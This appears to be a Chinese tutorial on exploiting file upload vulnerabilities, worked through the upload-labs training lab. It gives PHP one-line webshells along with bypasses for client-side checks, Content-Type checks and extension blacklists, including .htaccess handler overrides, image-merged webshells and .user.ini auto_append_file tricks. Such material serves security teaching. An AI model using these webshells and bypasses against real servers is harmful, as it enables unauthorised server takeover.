WEB入门——文件上传漏洞

文件上传漏洞
  • 一、文件上传漏洞
    • 1.1常见的WebShell有哪些?
    • 1.2 一句话木马演示
    • 1.2 文件上传漏洞可以利用需满足三个条件
    • 1.3 文件上传导致的危害
  • 二、常用工具
    • 2.1 搭建upload-labs环境
    • 2.2 工具准备
  • 三、文件上传绕过
    • 3.1 客户端绕过
      • 3.1.1 实战练习 :upload-labs/Pass-01/
    • 3.2 服务器端文件类型检查
      • 3.2.1 实战练习 :upload-labs/Pass-02/
    • 3.3 文件后缀绕过
      • 3.3.1 只限制了少量后缀情况
      • 3.3.2 实战练习 :upload-labs/Pass-03/
      • 3.3.3 大量的文件后缀被限制
      • 3.3.4 实战练习 :upload-labs/Pass-04/
    • 3.4 图片马绕过
      • 3.4.1 实战练习 :upload-labs/Pass-14/
    • 3.5 .user.ini 绕过
      • 3.5.1 练习
      • 3.5.2 当服务器对.user.ini内容检测时

一、文件上传漏洞

文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为 WebShell ,也可以称为一种网页后门。

1.1常见的WebShell有哪些?

  • 拥有较完整功能的webshell,我们一般称为大马。
  • 功能简易的webshell称为小马。
  • 除此之外还存在一句话木马、菜刀马、脱库马等等的名词,是对于webShell功能或者特性的简称。

1.2 一句话木马演示

<?php eval(%_POST['data']);?> #一句话源代码
  • 将上面代码保持为hello.php并将他放在下面目录中:
    在这里插入图片描述
  • 使用WebShell管理工具,创建连接并连接它:
    在这里插入图片描述
  • 连接成功后就可以查看服务器目录了。
    在这里插入图片描述

1.2 文件上传漏洞可以利用需满足三个条件

  1. 文件可上传
  2. 上传文件可已被web容器解释执行
  3. .上传路径可知

1.3 文件上传导致的危害

1、上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以
控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)。 3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
5、上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块。
6、上传一个合法的文本文件,但是其内容是php脚本,通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录,服务器中的文件,执行系统命令、代码等。

二、常用工具

2.1 搭建upload-labs环境

下载:https://github.com/c0ny1/upload-labs

2.2 工具准备

  • 中国蚁剑(AntSword)
  • 哥斯拉

三、文件上传绕过

3.1 客户端绕过

如果客户端JS脚本有加限制(例如上传图片,JS脚本显示了只能上传图片格式,不能上传.php后缀的文件)。

3.1.1 实战练习 :upload-labs/Pass-01/
  • 上传文件源码:

    <?php eval(%_POST['data']);?> 
    

    在这里插入图片描述

  • 直接上传一个一句话木马文件,弹窗提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.pHp

  • 查看源码:知道只是在客户端用JS做了过滤限制。

    <script type="text/javascript">
        function checkFile() {
            var file = document.getElementsByName('upload_file')[0].value;
            if (file == null || file == "") {
                alert("请选择要上传的文件!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.png|.gif";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name) == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
    
  • 解决办法:

    • 先将一句话木马文件hello.php修改后缀变成hello.png.。
    • 使用BurpSuite工具拦截上传请求。
    • 将请求里面的hello.png修改成hello.php,然后放行请求。
      在这里插入图片描述
  • 最后上传成功后回显,并可以查看到上传文件的地址。最后使用AntSword工具创建连接,就可以直接访问服务器。
    在这里插入图片描述

3.2 服务器端文件类型检查

服务器在后台对上传文件的Content-Type进行了检查。发现如果不是运行上传范围内的content-Type类型就拒绝上传。

3.2.1 实战练习 :upload-labs/Pass-02/
  • 绕过步骤:
    • 上传hello.php,使用BurpSuite拦截请求。
    • 将请求里面的Content-Type内容进行修改,如image/png、image/jpeg等等。 然后放行
      在这里插入图片描述

3.3 文件后缀绕过

一些WAF对文件后缀进行了限制。

3.3.1 只限制了少量后缀情况

如果.php后缀被限制,可以尝试:.php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀,WebShell的内容一样。
其中.phtml、.pht后缀的内容可以写成这样:

<script language="php"> eval($_POST['data']);</script>
3.3.2 实战练习 :upload-labs/Pass-03/
  • 上传hello.php或hello.pHp提示是不允许上传的类型
    在这里插入图片描述
  • 修改后缀为**.php3**,则上传成功。最后可以使用Antsword这类工具进行连接,登录到服务器端。
    在这里插入图片描述
  • 题目的PHP代码如下:
    在这里插入图片描述
3.3.3 大量的文件后缀被限制
  • 除了限制 ‘.asp’,‘.aspx’,‘.php’,‘.jsp’ 以外 .php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀 也都被限制列。

  • 这个时候如果是apache服务器,可以尝试上传 .htaccess后缀文件。文件内容为:

    <FilesMatch "png">
    setHandler appliaction/x-httpd-php
    </FileMatch>
    
  • 该文件上传后,所在目录中名字包含png的文件将会被当做php代码解析。

3.3.4 实战练习 :upload-labs/Pass-04/
  • 题目源码:

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
  • 通过源码可以知道后台过滤大量的后缀名。

    • 将WebShell文件修改成后缀为 .png
    • 上传 .htaccess 文件。
  • 上传WebShell文件成功后,将文件地址保存,方便后续AntSword连接。
    在这里插入图片描述

  • 上传 .htaccess 文件

  • 使用AntSword通过WebShell路径连接。
    在这里插入图片描述

3.4 图片马绕过

服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀,可能会被pass掉。所以,我们上传的内容必须得有真实的图片内容。

  • 题目源码:使用getimagesize函数对上传文件的内容进行判断。

    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
  • 解决办法:

    • 将一张正常的图片与WebShell文件合并成一张图片。

    • 使用CMD的copy /b命令进行合并。

      D:文件上传>copy /b hi.png+hello.php hi_hello.png
      hi.png
      hello.pHp
      已复制         1 个文件。
      

在这里插入图片描述

3.4.1 实战练习 :upload-labs/Pass-14/
  • 上传WebShell文件,并把后缀改成 .png 但是内容还是一句话木马,上传失败。
    在这里插入图片描述
  • 上传刚刚合成的hi_hello.png。提示上传成功,并回显了图片。
    在这里插入图片描述
  • 这里上传了图片马,但是服务器过滤了.htaccess文件的上传,为了测试图片马的正常运行,留了文件包含漏洞。利用该漏洞可以查看到图片马正常运行。
    在这里插入图片描述
    在这里插入图片描述

3.5 .user.ini 绕过

自 PHP 5.3.0 起,PHP支持基于每个目录的INI文件配置( .user.ini )。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

  • 用法:
    .user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中(如index.php)。这两个设置的区别:

    • auto_prepend_file是在文件前插入
    • auto_append_file在文件最后插入
  • 语法:`

    auto_append_file=hello.png
    or
    auto_prepend_file=hello.png
    
3.5.1 练习

因为upload-labs默认配置是apache+php 不是CGI/FastCGI方式,所以用phpstudy自己搭建一个简单练习环境。

  • 在根目录下创建upload文件夹,并在文件夹中添加hello.php和.user.ini、hello.png(hello.png内容为一句话木马)

  • hello.php 内容:

    <?php echo "hello";?>
    
  • user.ini 内容:

    auto_append_file=hello.png
    
  • 使用AntSword工具连接测试成功,可以入侵服务器。
    在这里插入图片描述

3.5.2 当服务器对.user.ini内容检测时
  • .user.ini 前面添加以下内容:

    GIF89
    auto_append_file=hello.png
    
  • 或者

    #define width 100
    #define heigh 100
    auto_append_file=hello.png
    

continue…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/942137.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【NLP高频面题 - Transformer篇】Transformer的位置编码是如何计算的?

【NLP高频面题 - Transformer篇】Transformer的位置编码是如何计算的&#xff1f; 重要性&#xff1a;★★★ NLP Github 项目&#xff1a; NLP 项目实践&#xff1a;fasterai/nlp-project-practice 介绍&#xff1a;该仓库围绕着 NLP 任务模型的设计、训练、优化、部署和应用…

[react 3种方法] 获取ant组件ref用ts如何定义?

获取ant的轮播图组件, 我用ts如何定义? Strongly Type useRef with ElementRef | Total TypeScript import React, { ElementRef } from react; const lunboRef useRef<ElementRef<typeof Carousel>>(null); <Carousel autoplay ref{lunboRef}> 这样就…

模型优化之知识蒸馏

文章目录 知识蒸馏优点工作原理示例代码 知识蒸馏优点 把老师模型中的规律迁移到学生模型中&#xff0c;相比从头训练&#xff0c;加快了训练速度。另一方面&#xff0c;如果学生模型的训练精度和老师模型差不多&#xff0c;相当于得到了规模更小的学生模型&#xff0c;起到模…

职业技能赛赛后心得

这是一位粉丝所要求的&#xff0c;也感谢这位粉丝对我的支持。 那么本篇文章我也是分成四个部分&#xff0c;来总结一下这次赛后心得。 赛中问题 那么这里的赛中问题不会只包含我所遇到的问题&#xff0c;也会包含赛中其他选手出现的问题。 那么首先我先说一下我在赛中遇到的…

基于springboot+vue实现的博物馆游客预约系统 (源码+L文+ppt)4-127

摘 要 旅游行业的快速发展使得博物馆游客预约系统成为了一个必不可少的工具。基于Java的博物馆游客预约系统旨在提供高效、准确和便捷的适用博物馆游客预约服务。本文讲述了基于java语言开发&#xff0c;后台数据库选择MySQL进行数据的存储。该软件的主要功能是进行博物馆游客…

前沿重器[57] | sigir24:大模型推荐系统的文本ID对齐学习

前沿重器 栏目主要给大家分享各种大厂、顶会的论文和分享&#xff0c;从中抽取关键精华的部分和大家分享&#xff0c;和大家一起把握前沿技术。具体介绍&#xff1a;仓颉专项&#xff1a;飞机大炮我都会&#xff0c;利器心法我还有。&#xff08;算起来&#xff0c;专项启动已经…

Dubbo 3.x源码(28)—Dubbo服务发布导出源码(7)应用级服务接口元数据发布

基于Dubbo 3.1&#xff0c;详细介绍了Dubbo服务的发布与引用的源码。 此前我们在Dubbo启动过程的DefaultModuleDeployer#startSync方法中&#xff0c;学习了Dubbo服务的导出exportServices方法和服务的引入referServices方法。 在这两个操作执行完毕之后&#xff0c;将会继续调…

电脑使用CDR时弹出错误“计算机丢失mfc140u.dll”是什么原因?“计算机丢失mfc140u.dll”要怎么解决?

电脑使用CDR时弹出“计算机丢失mfc140u.dll”错误&#xff1a;原因与解决方案 在日常电脑使用中&#xff0c;我们时常会遇到各种系统报错和文件丢失问题。特别是当我们使用某些特定软件&#xff0c;如CorelDRAW&#xff08;简称CDR&#xff09;时&#xff0c;可能会遇到“计算…

深入解读数据资产化实践指南(2024年)

本指南主要介绍了数据资产化的概念、目标和意义&#xff0c;以及实施数据资产化的过程。指南详细阐述了数据资产化的内涵&#xff0c;包括数据资产的定义、数据资产化的目标与意义&#xff0c;并介绍了数据资产化的过程包括业务数据化、数据资源化、数据产品化和数据资本化。 …

【算法篇】——数据结构中常见八大排序算法的过程原理详解

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、插入排序1.直接插入法2.希尔排序法 二、交换排序1. 冒泡排序2. 快速排序 三、选择排序1. 简单选择排序2. 堆排序 四、归并排序五、基数排序 前言 C数据结构…

仿闲鱼的二手交易小程序软件开发闲置物品回收平台系统源码

市场前景 闲置物品交易软件的市场前景广阔&#xff0c;主要基于以下几个方面的因素&#xff1a; 环保意识提升&#xff1a;随着人们环保意识的增强&#xff0c;越来越多的人开始关注资源的循环利用&#xff0c;闲置物品交易因此受到了广泛的关注。消费升级与时尚节奏加快&…

情报信息收集能力

红队专题-Web渗透之资产思路框架知识整理 钓鱼社工 钓鱼自动化zip域名ARP欺骗快捷方式ToolsburpsuiteApp 抓包ffuf模糊测试QingScanWiresharkCloudCFEn-Decodeffffffff0xInfodirbdirmapdirsearchdnsenum使用测试常规使用使用字典文件进行dns查询子域名暴力查询部分C类IP地址IP块…

ensp 关于acl的运用和讲解

ACL&#xff08;Access Control List&#xff0c;访问控制列表&#xff09;是一种常用于网络设备&#xff08;如路由器、交换机&#xff09;上的安全机制&#xff0c;用于控制数据包的流动与访问权限。ACL 可以指定哪些数据包允许进入或离开某个网络接口&#xff0c;基于不同的…

5、mysql的读写分离

主从复制 主从复制的含义 主从复制&#xff1a;在一个mysql的集群当中&#xff0c;至少3台&#xff0c;即主1台&#xff0c;从2台。 当有数据写入时&#xff0c;主负责写入本库&#xff0c;然后把数据同步到从服务器。 一定是在主服务器写入数据&#xff0c;从服务器的写入…

高质量配音如何影响游戏的受欢迎度

在游戏行业中&#xff0c;创造沉浸式、引人入胜且令人难忘的体验往往决定了游戏的成功或失败。在影响游戏流行度的众多因素中&#xff0c;配音脱颖而出&#xff0c;成为将叙事与玩家互动连接起来的重要元素。高质量的配音将游戏中的对白转化为游戏的活跃部分&#xff0c;让玩家…

鸿蒙-expandSafeArea使用

应用未使用setWindowLayoutFullScreen()接口设置窗口全屏布局时&#xff0c;默认使能组件安全区布局。可以使用expandSafeArea属性扩展安全区域属性进行调整 扩展安全区域属性原理 布局阶段按照安全区范围大小进行UI元素布局。布局完成后查看设置了expandSafeArea的组件边界&…

Java测试开发平台搭建(四)拦截器

1. 拦截器的作用及使用场景 能够在请求的生命周期的不同阶段进行拦截和处理。常见的使用场景包括&#xff1a;1. 日志记录&#xff1a;记录请求和响应的日志。 2. 权限验证&#xff1a;检查用户的登录状态、权限。 3. 性能监控&#xff1a;记录请求的处理时间&#xff0c;监控…

window安装TradingView

目录 下载安装包 修改文件后缀&#xff0c;解压 将K线换成国内涨红跌绿样式 下载安装包 https://www.tradingview.com/desktop/ 下载完成后是.msix格式文件 &#xff08;我在win10和win11的系统中尝试运行msix都没有成功&#xff0c;所以放弃直接双击运行msix&#xff…

电子应用设计方案70:智能挂钟系统设计

智能挂钟系统设计 一、引言 随着科技的不断发展&#xff0c;传统挂钟也逐渐向智能化方向演进。智能挂钟不仅能够准确显示时间&#xff0c;还具备多种实用功能和智能交互特性&#xff0c;为用户带来更便捷、丰富的体验。 二、系统概述 1. 系统目标 - 高精度显示时间&#xff0…

vue+elementui实现下拉表格多选+搜索+分页+回显+全选2.0

一、vueelementui实现下拉表格多选搜索1.0 二、vueelementui实现下拉表格多选搜索分页回显全选2.0 在1.0的基础上&#xff0c;终于可以实现在下拉框表格分页的前提下不同页码的回显辣&#xff0c;分页是前端来分页的&#xff08;代码略乱且没有封装还很长&#xff0c;随便看看…